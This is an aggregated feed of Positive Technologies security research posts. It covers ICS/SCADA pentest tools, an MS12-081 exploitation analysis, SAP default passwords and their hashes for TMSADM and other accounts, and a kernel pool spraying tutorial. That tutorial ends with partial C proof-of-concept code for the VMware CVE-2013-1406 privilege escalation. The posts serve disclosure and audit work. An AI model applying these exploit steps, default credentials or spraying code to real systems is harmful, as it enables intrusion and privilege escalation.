Quantcast
Channel: Positive Technologies - learn and secure
Viewing all 198 articles
Browse latest View live

ICS Security Analysis — New Pentest Tools

$
0
0
Industrial system (ICS/SCADA) security is a modern trend in information security. However, there is always a shortage of specialized tools for pentest or audit of ICS security. This article covers the latest publications, utilities, and presentations of Positive Technologies experts — all this will help you to ensure industrial system security..

Theory To Start With

Understanding of real threats is the core for any information security project. To ease this task, Positive Technologies experts assisted by the community http://asutpforum.ru undertook a large-scale study of the ICS systems (ICS/SCADA), the results of which are available here: http://ptsecurity.com/download/SCADA_analytics_english.pdf

Two Stories Of The Same Pentest

One of the problems of modern ICS is large-scale integrated projects related to MES construction and integration with business systems such as ERP. The report "From ERP to SCADA. Back and Forth. Two Stories of the Same Pentest" [ru] exemplifies what such projects can result in if they do not comply with security requirements.

ICS/SCADA/PLC Google/Shodanhq Cheat Sheet

Statements that industrial control systems are available via the Internet are usually taken with skepticism. A tool, which allows estimating a threat by yourself, has been published recently. Take notice that devices and systems provided in this list are all enterprise-level systems and will hardly be used to control fridges and microwaves.



The following video demonstrates what ICS availability via the Internet can result in:



Attention! Do not try to repeat it at home. A vulnerable system can control a very important object, and if it is handled carelessly it may cause damages. If all of a sudden you have detected an ICS available via the Internet, contact its owner or Computer Emergency Response Team, who can eliminate this flaw.

Contact GOV-CERT.RU if dealing with the systems of Russia, with regional CERT such as ICS-CERT if dealing with international systems.

Anonymous, judging by their Twitter, have already considered this tool, and it scares a little bit.



PLCScan

This open-code utility allows detecting devices interacting via the S7comm or Modbus protocols in a system. When a device is detected, PLCScan tries to obtain information about its vendor, type, installed modules, and etc.


Demonstrating video:



The utility is available here:  https://code.google.com/p/plcscan/.

WinCC Harvester

Metasploit WinCC Harvester can be used when access to SCADA WinCC has been obtained to collect additional information about a project, users, and controllers connected to a system.

Demonstrating video:



The utility is available here: https://github.com/nxnrt/wincc_harvester.

Siemens SIMATIC WinCC 7.X Security Hardening Guide

A checklist can be used for WinCC configuration in accordance with security requirements and for system security assessment in the course of audits.


If a lot of systems are assessed, the procedure can be automated as in case of MaxPatrol.



Siemens WinCC / S7 Under The X-ray

SCADA Security Scientific Symposium held in Miami on January 16-17 saw the report of Positive Technologies experts related to the results of Siemens WinCC/S7 security research. The report also covered SIMATIC WinCC/WinCC Flexible/TIA Portal and S7 PLC; from a network stack to an application, from a system architecture review to firmware reverse engineering. Sergey Gordeychik, Gleb Gritsay, and Denis Baranov considered almost 50 zero-day vulnerabilities and released a checklist for the configuration of WinCC Flexible 2008.



S7 password offline bruteforce tool

During the report the experts of Positive Technologies provided also a utility, which can be used to test S7 password strength in the course of audits and pentests.

The utility is available here: http://pastebin.com/0G9Q2k6y.

Surprise for Network Resources from kernel32 (MS12-081, Detailed Analysis of Vulnerability in Microsoft File Handling Component)

$
0
0
Microsoft issued a bulletin related to a vulnerability in Microsoft File Handling Component on December 11, 2012. The vulnerability was rated critical and assigned the category Remote Code Execution. Remote code execution is carried out, when a user opens a shared network resource with specially crafted contents. This report provides exploitation details.

The results are based on Windows XP SP3 x86. The vulnerability itself is contained in the functions FindFirstFileExW and FindNextFileExW of the library kernel32.dll, which copy data received from the native function NtQueryDirectoryFile with the help of memmove. The problem is that a number received from NtQueryDirectoryFile is used as the size of a source buffer for the copy function, however, it may happen that the size of a destination buffer can be smaller than the result of NtQueryDirectoryFile.

This vulnerability affects all applications, which use the functions of the families FindFirstFile/FindNextFile. The first application that comes to my mind is explorer.exe. An attacker only needs to make a user open a link to the malware resource. And, if everything is going well, they will be able to execute code with the same user rights as the current user. The remote execution script according to Microsoft FAQ is possible only via UNC share or WebDAV. A UNC (Universal Naming Convention) path can indicate a file share network resource running on the basis of the SMB protocol. Linux with the Samba service, which allows creating shared fields basing on the protocol, was chosen for the test. We wanted to carry out an attack in accordance with the following scheme.


Linux has a similar restriction (not a path length, but a file name length), which is 255 characters. It is only needed to modify the resources of the Samba server to send a vulnerable Windows machine a directory listing with file names, which length exceeds 255 characters. The function smbd_marshall_dir_entry from trans2.c (Samba 3.6.6), which partially forms the server task, is one of the holes for malware injection. For the first test, the name of the output files was extended over 0x100 bytes and filled with the constant 0xfeeddead. Trying to use a modified server from a vulnerable machine, you can see the following.


The screenshot shows that explorer.exe tried to read DWORD by the address from the EDX register. The read value participates in creating an address for the call. It's easy to see ascending the call stack that the first two parameters of the function RecentDocs_Enum are under control, besides they are rendered further. These values can be rewritten because they are located in a stack (see the scheme below).

The function CFSFolder_CreateEnum allocates memory of size 0x498 for an instance of the class CFileSysEnum; this chunk contains the structure WIN32_FIND_DATA with offset 0x224. A pointer to this structure is transferred to the vulnerable function FindFirstFileEx, which rewrites the values that allow control hijacking.

It is necessary to conduct a heap-spray attack to exploit this vulnerability. File names received by CShellBrowser2 are the objects for heap spraying in this case. Therefore, it is needed to create a lot of files on a shared network resource to conduct a heap-spray attack. The figure below provides the attack scheme. Note: the DEP (Data Execution Prevention) system is not considered in this scheme; it is evident that shellcode is in the heap, which should not be executable.


One of the attack problems is server response fragmentation into several SMB packets. The driver mrxsmb.sys responsible for the SMB protocol includes the function MrxSmbUnalignedDirEntryCopyTail. This function checks the length of received names transferred to the user mode. If the limit of 0x200 bytes is exceeded, the function will display the error STATUS_INVALID_NETWORK_RESPONSE (0xC00000C3), and then NtQueryDirectoryFile will stop sending names for FindNextFile.

This check can be bypassed as follows. First of all, it is necessary to create a set of files, which will conduct the heap-spray attack, and then to remove all the files from the directory and create a file, the name of which is the vulnerability trigger. The Samba server, in case of changes in the file system with a connected server, will send a packet with the function NT_NOTIFY, which will make the client repeat the request FIN_FIRST2 to the server having received only one malware name. Besides, the file names received earlier will remain in memory. Moreover, it is possible to control the order of the names, because they are sorted by name. It is worth noting that the names received from the Samba server should be unique; it is provided by allocating 5 bytes from the main file name field to the unique identifier.

It is also worth noting that the file name transport supports interaction via the SMB protocol in double-byte Unicode.


It restricts addresses rewritten on the vulnerable client, but due to the fact that the Samba server output is modified after conversion of single-byte to double-byte characters, these restrictions are insignificant, though they complicate the modified server's running process. Sending a big data packet, the server divides it into parts, and the client having received another such data part sends the sever a name, starting with which it should proceed the transaction (see the figure below).


Due to the fact that when conducting the heap-spray attack unreal data is output, then the name to continue the output will be unreal as well. That is why it is needed to render the received continue_name in a real name on the server, with which it is necessary to continue.

This construction allows code execution on a vulnerable machine with probability 1/7. Finally, we should say that the vulnerability can be easily exploited "in a wild life", though for creation of a combat exploit, one will have to solve the problem with DEP and find optimizing algorithms for heap spraying (to increase the probability of success).

Author: Kirill Nesterov, Positive Research.

SAP Unknown Default Password for TMSADM

$
0
0

Authors: Dmitry Gutsko, Positive Research
SAP default passwords are nothing new. The top five default passwords are presented in many books and articles on security issues. One would hardly find anything new on this topic.
Carrying out SAP security audit for a client, we came across an unknown password of the user TMSADM. The password was displayed by the system itself: during the default accounts analysis, the following results were obtained in the known report RSUSR003.








The default password for TMSADM— PASSWORD — really is well known, but this is the first time I have seen the password $1Pawd2&. Let's sort it out...
The first thing that comes to your mind is to search on the Internet. Google gives two references. The SAP website, six. None of them clarifies the matter: the mysterious password is mainly discovered in published fragments of the ABAP code.


Apparently, we should look for the answers in the code. We open the source code of the report RSUSR003 and have no difficulty in finding the message we've seen on the screen before (message 028).













We also find default passwords hashes that are implemented to the program source text. Interestingly enough that there are two groups of hashes for the user TMSADM: one for the password PASSWORD and another for $1Pawd2&. Here they are (they might be useful for audit, penetration testing etc.).

*  EARLYWATCH
   lc_ewa 
TYPE xucode VALUE '13C810002A147DEE',
   lc_ewb 
TYPE xucode VALUE 'BD5E494D3ECBF5E2',
   lc_ewd 
TYPE xucode VALUE '573822832DF89B9C',
   lc_ewe 
TYPE xucode VALUE 'B3ADDFE95DCD036F',
   lc_ewf1 
TYPE hash160x VALUE '924127D88EE3C1820A2C88495EC4825E819C9249',
   lc_ewf2 
TYPE hash160x VALUE '760293CCD7AC111298A7AC70D3304242E442320F',
*  CPIC
   lc_cpa 
TYPE xucode VALUE 'FC49DBF6F3FDCF36',
   lc_cpb 
TYPE xucode VALUE '7D806C248F03813D',
   lc_cpd 
TYPE xucode VALUE '35C7AB28316EA22F',
   lc_cpe 
TYPE xucode VALUE '5A5F45726821A147',
   lc_cpf1 
TYPE hash160x VALUE '57CF364A7D83FA563025C7BCFFFB3B579DFB23F3',
   lc_cpf2 
TYPE hash160x VALUE '38AE55102813F3BBBC3B3BCA09285ED5A9E0423F',
*  DDIC
   lc_dda 
TYPE xucode VALUE '5FA752863FB70BA9',
   lc_ddb 
TYPE xucode VALUE '61D26428640DBAB5',
   lc_ddd 
TYPE xucode VALUE 'DCA44BB71C073A05',
   lc_dde 
TYPE xucode VALUE '08FA7683A46D9AA9',
   lc_ddf 
TYPE hash160x VALUE '905F5E6CE67B7C60D0F7BA9C4063AAF0D8602B45',
*  SAP*
   lc_saa 
TYPE xucode VALUE 'C75E6D9600AB5710',
   lc_sab 
TYPE xucode VALUE 'D0BFF4276DA1E208',
   lc_sad 
TYPE xucode VALUE 'A83ECB9EC4D34C08',
   lc_sae 
TYPE xucode VALUE '95984B6A25BA20E9',
   lc_saf 
TYPE hash160x VALUE '8948310AF768FA9061598E8F68FD144CE65B7480',
*  TMSADM (PW1)
   lc_tms1a 
TYPE xucode VALUE '7671D2F2729F27F0',
   lc_tms1b 
TYPE xucode VALUE '942B9DC0F2394D85',
   lc_tms1d 
TYPE xucode VALUE '7C6433CE69099272',
   lc_tms1e 
TYPE xucode VALUE '940BAB0E12A36DC2',
   lc_tms1  
TYPE hash160x VALUE 'C9AA19DA354DC8397D7AC8EA8B4C04DF49CB58FF',
*  TMSADM (PW2)
   lc_tms2a 
TYPE xucode VALUE '05CB79BE189802A0',
   lc_tms2b 
TYPE xucode VALUE 'B7E2F82C0A3E54C4',
   lc_tms2d 
TYPE xucode VALUE '4DD4438D3C19138C',
   lc_tms2e 
TYPE xucode VALUE 'D527A90BC0CAF484',
   lc_tms2  
TYPE hash160x VALUE 'A6BF38EE57F90B78C8D88A5212BBF1BA9A966ABB'

Note. There are 5 hashes for every account: one for every hashing algorithm used in SAP (A, B, D, E, F). Some accounts (CPIC, EARLYWATCH) each have two password hashes for the F algorithm: for passwords in upper and lower case.
Now we can remember that there was no information on the transport management system user TMSADM in previous versions of the RSUSR003 report. As we can see, there's no such account in the analysis results output.




Apparently, the report has recently been revised and new versions contain information on default passwords and TMSADM password. It has been revised... And a new unknown password has appeared. Checking. Let's see the very beginning of the source code: it usually has information on updates and amendments that were made.







The very last update of the source code is related to adding user checks. For more information let's see the note (issued in a month following the code changing, on April 27, 2011).






Everything is confirmed. In early 2011, SAP developers made changes to the report RSUSR003, added checks for the user TMSADM providing two possible passwords: PASSWORD and $1Pawd2&.

Conclusions we can draw: 
  1. While carrying out the SAP systems security audit, the existence of another default password for TMSADM should be taken into account. Make sure that the used password differs from the two default passwords. (Password $1Pawd2& was discovered in 2 of our test benches, so it can be easily found in your system.)
  2. Specialists responsible for the security of their own SAP systems should implement note 1552894 to make sure default passwords for the system users were changed, including the one for the user TMSADM.

Stars aligner’s how-to: kernel pool spraying and VMware CVE-2013-1406

$
0
0
If you deal with Windows kernel vulnerabilities, it is likely that you’ll have to deal with a kernel pool in order to develop an exploit. I guess it is useful to learn how to keep the behavior of this kernel entity under your control.

In this article I will try to give a high level overview of kernel pool internals. This object has already been deeply researched several times, so if you need more technical information, please google it or use the references at the end of this article.

Kernel pool structure overview
Kernel pool is a common place for mining memory in the operating system kernel. Remember that there are very small stacks in the kernel environment. They are suitable only for a small bunch of local non-array variables. Once a driver needs to create a large data structure or a string, it will certainly use the pool memory.

There are different types of pools, but all of them have the same structure (except of the driver verifier’s special pool). Every pool has a special control structure called a pool descriptor. Among the other purposes, it maintains lists of free pool chunks, which represent a free pool space. A pool itself consists of memory pages. They can be standard 4 KB or large 1 MB in size. The number of pages used for the pool is dynamically adjusted.

Kernel pool pages are then split into chunks. These are the exact chunks that drivers are given when requesting memory from the pool.


Pool chunk on x86 systems

Pool chunks have the following meta-information inside

1. Previous size — a size of the preceding chunk.

2. Pool index field is used for situations with more than one pool of a certain type. For example, there are multiple paged pools in the system. This field is used to identify which exact paged pool this chunk belongs to.

3. Block size is a size of the current chunk. Just like the previous size field, the size is encoded as (pool chunk data size + size of pool header + optional 4 bytes of a pointer to the process quoted) >> 3 (or >> 4 on x64 systems).

4. Pool type field is a flag bitmask for the current chunk. Notice that those flags are not officially documented.

  • T (Tracked): this chunk is tracked by the driver verifier. Pool tracking is used for debugging purposes.
  • S (Session): the chunk belongs to the paged session pool, it is a special pool used for session specific allocations.
  • Q (Quota): the chunk takes part in quota management mechanism. This flag is only relevant for 32-bit systems. If this flag is present, a pointer to the process quoted this chunk is stored at the end of the chunk.
  • U (In use): this chunk is currently in use. As opposed a chunk can be free, which means that we can allocate memory from it. This flag is a third bit for pre-vista systems and the second for vista and upper.
  • B (Base pool) identifies a pool which the chunk belongs to. There are two base pools – paged and non-paged. Non-paged pool is encoded as 0 and paged pool as 1. For pre-vista systems this flag could occupy two bits because the base pool type was encoded as (base pool type + 1), that is 0x10 for paged pool and 0x1 for non-paged pool.

5. Pool tag is used for debugging purposes. Drivers specify a four-byte character signature which identifies a subsystem or a driver that uses this chunk. For example “NtFs” tag means that this chunk belongs to the ntfs.sys driver.

Pool chunk on x64 systems

There is a couple of differences on 64-bit systems. The first one is a different size for fields and the second one is a new 8-byte field with a pointer to the process that quoted this chunk.

Kernel pool memory allocation overview
Imagine that the pool is empty. I mean there is no pool space at all. If we try to allocate memory from the pool (let’s say that its size is less than 0xFF0), it will first allocate a memory page and then place a chunk of the requested size on it. Since it is the first allocation on this page, the chunk will be placed at the start of this page.


The first pool chunk allocation sequence

This page has now two pool chunks — the one that we allocated and a free one. The free chunk can now be used for consequent allocations. But from this moment pool allocator tends to place new chunks at the end of the page or the free space within this page.


Pool chunk allocation strategy

When it comes to the deallocation of the chunks, the process is repeated in a reverse order. The chunks become free, and they are merged if they are adjacent.


Pool deallocation strategy

The whole situation with empty pools is just a fantasy, because the pools are charged with memory pages by the moment we can actually use them.

Controlling the behavior of chunk allocations
Let’s keep in mind the fact that kernel pool is a heavily-used object. First of all it used for creating all sorts of kernel objects, private kernel and drivers structures. Secondly, kernel pool takes part in a number of system calls, providing a buffer for the corresponding parameters. Since the computer is constantly servicing hardware by means of drivers and software by means of system calls, you can imagine the rate of kernel pool usage even when the system stays idle.

Sooner or later kernel pool becomes fragmented. It happens because of different sizes of allocations and frees following in a different order. Here goes out the origin of the “spraying” term — when sequentially allocating chunks of pool, those chunks are not necessarily followed by each other, there are most likely to be located at completely different places in memory. So, when filling the pool memory with controlled red-painted chunks we are likely going to see the left side of a picture, then the right one.


Heap spraying leads to the left picture, not the right one

But there is an important exploiting-relevant circumstance: when there is no black region left for painting, we’ll get a new black region without stranger’s spots. From this point our spray becomes an ordinary brush with solid color fill. From here we have a considerable level of controlling the behavior of chunk allocation and a picture of the pool. We say considerable because it is still not the case when we are guaranteed to be the painting master, because our painting process can be interrupted by someone else spilling a different color.


The spraying becomes filling when using a lot of objects

Depending on a type of an object that we are using for spraying, we are able to create free windows of needed size by freeing a number of objects that we created before. And the most important fact that allows us to make a controlled allocation is that pool allocator tends to be as fast as it is possible. In order to use processor cache effectively the last freed pool chunk will be the first one that is allocated! It is the point of the controlled allocation because we can guess the address of the chunk to be allocated.

Of course the size of the allocation matters. That’s why we have to calculate the size of the free chunks window. If we have to allocate a 0x315 bytes chunk, and we are spraying 0x20 bytes chunks, we have to free 0x315 / 0x20 = (0x18 + 1) chunks. I hope this is clear enough.

Here are some points we need to consider in order to be successful in kernel pool spraying:

1. If you don’t have an opportunity of allocating the kernel pool with some sort of a target driver, you can always use windows objects as spraying objects. Since windows object are naturally the object of the operating system kernel, they are stored in kernel pools.

  • For non-paged pool you can use processes, threads, events, semaphores, mutexes etc. 
  • For paged pool you can use directory objects, key objects, section objects (also known as file mapping) etc. 
  • For session pool you can use any GDI or USER object: palettes, DCs, brushes etc.

In order to free the memory occupied by those objects, you can simply close all open handles to them.

2. By the time we are going to start spraying there are pages available for pool usage, but they are too defragmented. If we need a space filled sequentially with controlled chunks, we need to spam the pool so there is no place on currently available pages. After this we’ll get a new clean page leading to the chance of sequential allocation of controlled chunks. In a nutshell, create lots of spraying objects.

3. When calculating a necessary window size, keep in mind that chunk header size matters, also the whole size is rounded up to 8 and 16 bytes on x86 and x64 machines respectively.

4. Although we are able to control the manner of allocation of the pool chunks, it is difficult to predict relative positions of the sprayed objects. If you use windows object for spraying thus having only the handle of an object but not it’s address, you can leak kernel object using the NtQuerySystemInformation() function with SystemExtendedHandleInformation class. It will provide you all the information needed for precise spraying.

5. Keep the balance of the sprayed objects quantity. You’ll probably fail controlling the chunk allocation when the is no memory left in the system at all.

6. One of the tricks that might help you improve reliability of kernel pool based exploits is assigning a high priority to the spraying and triggering thread. Since there is a race for using the pool memory it is useful to modify the pool sharing priority by having more chances to execute than the other threads in the system. It will help you to keep your spraying more consistent. Also consider the gap between spraying and triggering the vulnerability: the less it is, the more chance you get to land on the controlled pool chunk.

VMware CVE 2013-1406
A couple of weeks ago an interesting advisory by VMware was published. It promised local privilege escalation on both host and guest systems thus leading to a double ownage.

The vulnerable component was vmci.sys. VMCI stands for Virtual Machine Communication Interface. It is used for fast and efficient communication between guest virtual machines and their host server. VMCI presents a custom socket type implemented as a Windows Socket Service Provider in a vsocklib.dll library. The module vmci.sys creates a virtual device that implements the needed functionality. This driver is always running on the host system. As for guest systems, VMware tools have to be installed in order to use VMCI.

When writing an overview it would be nice to explain a high-level logic of vulnerability in order to present a detective-like story. Unfortunately this is not the case, because there is not much public information about VMCI implementation. I don’t think that people who exploit vulnerabilities always go deep into details reverse engineering the whole target system. At least it would be more profitable to obtain a stable working exploit within a week than a high-level knowledge of how the things work in months.

PatchDiff highlight three patched functions. All of them were relevant to the same IOCTL code 0x8103208C – something terribly went wrong with handling it.




Control flow of the code processing the 0x8103208C IOCTL


The third patched function eventually was called both from the first and the second ones. The third function is supposed to allocate a pool chunk of a requested size times 0x68 and initialize it with zeroes. It contained an internal structure for dispatching the request. The problem was that a chunk size was specified in a user buffer for this IOCTL code and was not checked properly. As a result, an internal structure was not allocated which led to interesting consequences.

A buffer is supplied for this IOCTL, its size is supposed to be 0x624 in order to reach patched functions. In order to process user request in internal structure is allocated, its size is 0x20C. Its first 4 bytes were filled with a value, specified at [user_buffer + 0x10]. These exact bytes are used to allocate another internal structure the pointer to which is then stored at the last four bytes of the first one. But no matter was the second chunk allocated or not, a sort of a dispatch function was invoked.

.text:0001B2B4     ; int __stdcall DispatchChunk(PVOID pChunk)
.text:0001B2B4     DispatchChunk   proc near               ; CODE XREF: PatchedOne+78
.text:0001B2B4                                             ; UnsafeCallToPatchedThree+121
.text:0001B2B4
.text:0001B2B4     pChunk          = dword ptr  8
.text:0001B2B4
.text:0001B2B4 000                 mov     edi, edi
.text:0001B2B6 000                 push    ebp
.text:0001B2B7 004                 mov     ebp, esp
.text:0001B2B9 004                 push    ebx
.text:0001B2BA 008                 push    esi
.text:0001B2BB 00C                 mov     esi, [ebp+pChunk]
.text:0001B2BE 00C                 mov     eax, [esi+208h]
.text:0001B2C4 00C                 xor     ebx, ebx
.text:0001B2C6 00C                 cmp     eax, ebx
.text:0001B2C8 00C                 jz      short CheckNullUserSize
.text:0001B2CA 00C                 push    eax             ; P
.text:0001B2CB 010                 call    ProcessParam; We won’t get here
.text:0001B2D0
.text:0001B2D0     CheckNullUserSize:                      ; CODE XREF: DispatchChunk+14
.text:0001B2D0 00C                 cmp     [esi], ebx
.text:0001B2D2 00C                 jbe     short CleanupAndRet
.text:0001B2D4 00C                 push    edi
.text:0001B2D5 010                 lea     edi, [esi+8]
.text:0001B2D8
.text:0001B2D8     ProcessUserBuff:                        ; CODE XREF: DispatchChunk+51
.text:0001B2D8 010                 mov     eax, [edi]
.text:0001B2DA 010                 test    eax, eax
.text:0001B2DC 010                 jz      short NextCycle
.text:0001B2DE 010                 or      ecx, 0FFFFFFFFh
.text:0001B2E1 010                 lea     edx, [eax+38h]
.text:0001B2E4 010                 lock xadd [edx], ecx
.text:0001B2E8 010                 cmp     ecx, 1
.text:0001B2EB 010                 jnz     short DerefObj
.text:0001B2ED 010                 push    eax
.text:0001B2EE 014                 call    UnsafeFire      ; BANG!!!!
.text:0001B2F3
.text:0001B2F3     DerefObj:                               ; CODE XREF: DispatchChunk+37
.text:0001B2F3 010                 mov     ecx, [edi+100h] ; Object
.text:0001B2F9 010                 call    ds:ObfDereferenceObject
.text:0001B2FF
.text:0001B2FF     NextCycle:                              ; CODE XREF: DispatchChunk+28
.text:0001B2FF 010                 inc     ebx
.text:0001B300 010                 add     edi, 4
.text:0001B303 010                 cmp     ebx, [esi]
.text:0001B305 010                 jb      short ProcessUserBuff
.text:0001B307 010                 pop     edi
.text:0001B308
.text:0001B308     CleanupAndRet:                          ; CODE XREF: DispatchChunk+1E
.text:0001B308 00C                 push    20Ch            ; size_t
.text:0001B30D 010                 push    esi             ; void *
.text:0001B30E 014                 call    ZeroChunk
.text:0001B313 00C                 push    'gksv'          ; Tag
.text:0001B318 010                 push    esi             ; P
.text:0001B319 014                 call    ds:ExFreePoolWithTag
.text:0001B31F 00C                 pop     esi
.text:0001B320 008                 pop     ebx
.text:0001B321 004                 pop     ebp
.text:0001B322 000                 retn    4
.text:0001B322     DispatchChunk   endp
The dispatch function was searching for a pointer to process. The processing included dereferencing some object and calling some function if an appropriate flag had been set inside the pointed structure. But since we had failed to allocate a structure to process, the dispatch function slid beyond the end of the first chunk. This processing leads to an access violation and a following BSOD when uncontrolled.

IOCTL dispatch structure and the dispatcher behavior 

So we’ve got a possible code execution at the controlled address:
.text:0001B946     UnsafeFire      proc near            
.text:0001B946                                          
.text:0001B946
.text:0001B946     arg_0           = dword ptr  8
.text:0001B946
.text:0001B946 000                 mov     edi, edi
.text:0001B948 000                 push    ebp
.text:0001B949 004                 mov     ebp, esp
.text:0001B94B 004                 mov     eax, [ebp+arg_0]
.text:0001B94E 004                 push    eax
.text:0001B94F 008                 call    dword ptr [eax+0ACh]; BANG!!!!
.text:0001B955 004                 pop     ebp
.text:0001B956 000                 retn    4
.text:0001B956     UnsafeFire      endp
Exploitation
Since the chunk dispatch code slips beyond the chunk it is supposed to process, it meets the neighbor chunk or an unmapped page. If it falls into an unmapped memory, a BSOD occurs. But when it meets another pool chunk it tries to process a pool header interpreting it as a pointer.

Consider x86 system. The four bytes the dispatcher function tries to interpret as a pointer are the previous block size, pool index, current block size and pool type flags. Since we know the size and a pool index used for the skipped chunk, we know the low word of a pointer:

0xXXXX0043 – 0x43 is a size of a skipped chunk, thus becomes a previous size of a chunk in a neighbor. 0x0 is a pool index, which is guaranteed to be equal to 0, since non-paged pool used for the skipped chunk is the only one in the system. Notice that if the two adjacent chunks share the same pool page, they belong to the same pool type and index.

The high word contains the block size, which we can’t predict and pool type flags which we can:

B = 0 because the chunk is from the non-paged pool,
U = 1 because the is supposed to be in use,
Q = 0/1 the chunk might be quoted,
S = 0 because the pool is not the session one,
T = 0 pool tracking is likely to be disabled by default.

The unused bits in the pool type field are equal to 0.

So we’ve got the following memory windows valid for Windows 7 and Windows 8:
  1. 0x04000000 – 0x06000000 for ordinary chunks
  2. 0x14000000 – 0x16000000 for quoted chunks
Based on the provided information you can easily calculate memory windows for Windows XP and alike.

As you can see, those memory ranges belong to the user space, so we are able to force the vulnerable dispatch function to execute a shellcode that we provide. In order to perform arbitrary code execution we have to map the calculated regions and meet the requirements of the dispatch function:

1. Within the [0x43 + 0x38] place a DWORD value of 1 in order to meet the requirements of the following code:
.text:0001B2E1 010                 lea     edx, [eax+38h]
.text:0001B2E4 010                 lock xadd [edx], ecx
.text:0001B2E8 010                 cmp     ecx, 1
2. Within the [0x43 + 0xAC] place a pointer to the function to be called, or simply the address of a shellcode.

3. Within the [0x43 + 0x100] place a pointer of a fake object to be dereferenced with ObfDereferenceObject() function. Notice that the reference count is taken from the object header, which is located at a negative offset to the object itself, so be sure that this function is not going to land on the unmapped region. Also provide a suitable reference count in order the ObfDereferenceObject() would not try to free the user-mode memory with the functions that are not suited for that.

4. Repeat this algorithm for every 0x10000 bytes.

Everything has been done right!

Improving reliability of an exploit
Although we have developed a nice strategy of exploitation, it is still unreliable. Consider the case when the chunk after vulnerable one is freed. It is difficult to guess the state of this chunk fields. That means that although such chunk forms a pointer valid for the dispatch function (because it is not NULL) the result of the dispatching will lead to a BSOD. It is also true for the case when the dispatch function slides to an unmapped virtual address.

Kernel pool spraying is very useful in this case. As a spraying object I chose semaphores since they could provide the closest chunk size to the one I needed. As a result this technique helped a lot improving the stability of an exploit.

Remember that Windows 8 has a SMEP support, so it is a little bit more complicate to exploit due to the laziness of a shellcode developer. Writing a base-independent code and bypassing SMEP is left as an exercise for a reader.

As for the x64 systems, the problem is that the pointer became 8 bytes in size. This means that a high DWORD of a pointer interpreted in the dispatch function falls on the pool chunk tag field. As far as most drivers and kernel subsystems user ASCII symbols for tagging, the pointer falls into non-canonical address space, so it can’t be used for exploitation. By this time I was unable to find a solution for this problem.

In the end
I hope this article was useful for you, and I’m sorry that I could not fit all the needed information in a couple of paragraphs. I wish you good luck in researching and exploiting for the sake of making the things more secure.

Source Code:
/*    CVE-2013-1406 exploitation PoC    by Artem Shishkin,    Positive Research,    Positive Technologies,    02-2013*/void__stdcall FireShell(DWORD dwSomeParam){
    EscalatePrivileges(hProcessToElevate);// Equate the stack and quit the cycle#ifndef _AMD64___asm{popebxpopedipush0xFFFFFFF8push0xA010043}#endif}HANDLE LookupObjectHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable,PVOID pObjectAddr,DWORD dwProcessID =0){HANDLE            hResult =0;DWORD            dwLookupProcessID = dwProcessID;if(pHandleTable ==NULL){printf("Ain't funny\n");return0;}if(dwLookupProcessID ==0){
        dwLookupProcessID =GetCurrentProcessId();}for(unsignedint i =0; i < pHandleTable->NumberOfHandles; i++){if((pHandleTable->Handles[i].UniqueProcessId ==(HANDLE)dwLookupProcessID)&&(pHandleTable->Handles[i].Object == pObjectAddr)){
            hResult = pHandleTable->Handles[i].HandleValue;break;}}return hResult;}PVOID LookupObjectAddress(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable,HANDLE hObject,DWORD dwProcessID =0){PVOID    pResult =0;DWORD    dwLookupProcessID = dwProcessID;if(pHandleTable ==NULL){printf("Ain't funny\n");return0;}if(dwLookupProcessID ==0){
        dwLookupProcessID =GetCurrentProcessId();}for(unsignedint i =0; i < pHandleTable->NumberOfHandles; i++){if((pHandleTable->Handles[i].UniqueProcessId ==(HANDLE)dwLookupProcessID)&&(pHandleTable->Handles[i].HandleValue == hObject)){
            pResult =(HANDLE)pHandleTable->Handles[i].Object;break;}}return pResult;}void CloseTableHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable,HANDLE hObject,DWORD dwProcessID =0){DWORD    dwLookupProcessID = dwProcessID;if(pHandleTable ==NULL){printf("Ain't funny\n");return;}if(dwLookupProcessID ==0){
        dwLookupProcessID =GetCurrentProcessId();}for(unsignedint i =0; i < pHandleTable->NumberOfHandles; i++){if((pHandleTable->Handles[i].UniqueProcessId ==(HANDLE)dwLookupProcessID)&&(pHandleTable->Handles[i].HandleValue == hObject)){
            pHandleTable->Handles[i].Object =NULL;
            pHandleTable->Handles[i].HandleValue =NULL;break;}}return;}void PoolSpray(){// Init used native API function
    lpNtQuerySystemInformation NtQuerySystemInformation =(lpNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll.dll"),"NtQuerySystemInformation");if(NtQuerySystemInformation ==NULL){printf("Such a fail...\n");return;}// Determine object size// xp: //const DWORD_PTR dwSemaphoreSize = 0x38;// 7://const DWORD_PTR dwSemaphoreSize = 0x48;

    DWORD_PTR dwSemaphoreSize =0;if(LOBYTE(GetVersion())==5){
        dwSemaphoreSize =0x38;}elseif(LOBYTE(GetVersion())==6){
        dwSemaphoreSize =0x48;}unsignedint cycleCount =0;while(cycleCount <50000){HANDLE hTemp =CreateSemaphore(NULL,0,3,NULL);if(hTemp ==NULL){break;}++cycleCount;}printf("\t[+] Spawned lots of semaphores\n");printf("\t[.] Initing pool windows\n");Sleep(2000);DWORD dwNeeded =4096;
    NTSTATUS status =0xFFFFFFFF;PVOID pBuf =VirtualAlloc(NULL,4096, MEM_COMMIT, PAGE_READWRITE);while(true){
        status = NtQuerySystemInformation(SystemExtendedHandleInformation, pBuf, dwNeeded,NULL);if(status != STATUS_SUCCESS){
            dwNeeded *=2;VirtualFree(pBuf,0, MEM_RELEASE);
            pBuf =VirtualAlloc(NULL, dwNeeded, MEM_COMMIT, PAGE_READWRITE);}else{break;}};HANDLE hHandlesToClose[0x30]={0};DWORD dwCurPID =GetCurrentProcessId();
    PSYSTEM_HANDLE_INFORMATION_EX pHandleTable =(PSYSTEM_HANDLE_INFORMATION_EX)pBuf;for(ULONG i =0; i < pHandleTable->NumberOfHandles; i++){if(pHandleTable->Handles[i].UniqueProcessId ==(HANDLE)dwCurPID){
            DWORD_PTR    dwTestObjAddr =(DWORD_PTR)pHandleTable->Handles[i].Object;
            DWORD_PTR    dwTestHandleVal =(DWORD_PTR)pHandleTable->Handles[i].HandleValue;
            DWORD_PTR    dwWindowAddress =0;bool        bPoolWindowFound =false;UINT iObjectsNeeded =0;// Needed window size is vmci packet pool chunk size (0x218) divided by// Semaphore pool chunk size (dwSemaphoreSize)
